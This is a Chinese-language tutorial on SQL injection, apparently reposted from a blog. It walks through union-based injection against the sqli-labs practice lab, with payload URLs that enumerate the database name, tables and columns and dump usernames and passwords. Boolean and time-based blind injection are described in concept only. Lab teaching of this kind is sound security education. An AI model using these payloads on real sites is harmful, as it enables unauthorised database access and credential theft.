SQL注入简介
当客户端提交的数据未做处理或转义直接带入数据库就造成了SQL注入,也就是用户提交了特定的字符导致SQL语句没有按照管理员设定的方式方法执行。
SQL 注入原理
在提交数据或者URL中添加单引号进行提交如果返回SQL错误即可判断当前位置存在SQL注入漏洞,原因是没有进行数据处理过滤。
SQL注入分类
- 联合注入
- 布尔注入
- 时间注入
- 报错注入
SQL注入实现步骤
- 判断是否存在注入点
- 破解数据库名称
- 破解数据库中的表名
- 破解表中的字段名
- 破解表中数据
SQL语句报错
SQL注入-联合注入
union操作符用于合并两个或多个select语句的结果集,union内部的select 语句必须拥有相同数量的列。
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
判断是否有注入点
1、使用\转义符先判断是否有报错若有报错就有SQL注入,然后判断闭合方式是什么。这里的闭合方式是' '单引号。
http://192.168.1.64/sqli-labs/Less-1/?id=\
破解数据库名
1、使用order by 函数判断查询语句中表的字段有多少个,然后使用union函数进行联合查询注入。 2、--+表示注释
http://192.168.1.64/sqli-labs/Less-1/?id=-1' order by 4 --+
3、使用union函数联合注入,使用database()函数破解数据库的名称
http://192.168.1.64/sqli-labs/Less-1/?id=-1' union select 1,2,database() --+
version() #MySQL 版本
user() #数据库用户名
database() #数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本
破解数据库中所有的表名
4、根据元数据库(描述数据本身的数据库)information_schema.tables表破解数据库中所有的表名,使用group_concat()函数进行连接显示
http://192.168.1.64/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
破解user表中的所有字段名
5、根据元数据库information_schema.columns表破解user表中所有的字段名
http://192.168.1.64/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
破解user表中所以的数据
6、其中0x是十六进制的标志,0x3A是ascii中的冒号,0x3C是<,0x62是b,0x72是r,0x2F是/,0x3E是>
http://192.168.1.64/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(username,0x3A,password,0x3C,0x62,0x72,0x2F,0x3E) from users--+
页面报错
盲注SQL
Blind SQL (盲注)其实是sql注入的一种。他不需要根据你注入的SQL语句来返回你想要知道的错误信息。而通常代码中如果屏蔽了报错信息我们就需要使用盲注。场景:当程序员在开发过程中,隐藏了数据库的中报错的信息,并替换为通用的错误提示如(错误页面和成功页面),那么sql注入将无法依据报错信息判断注入语句的执行结果就需要用到盲注。
SQL注入-布尔注入
它只会根据你的注入信息返回True或False,根据结果判断是否和自己输入的值一致从而猜解出完整的数据。
SQL注入-时间注入
界面返回值只有一种True的结果,无论输入任何值返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
来源:oschina
链接:https://my.oschina.net/moziBlog/blog/3197712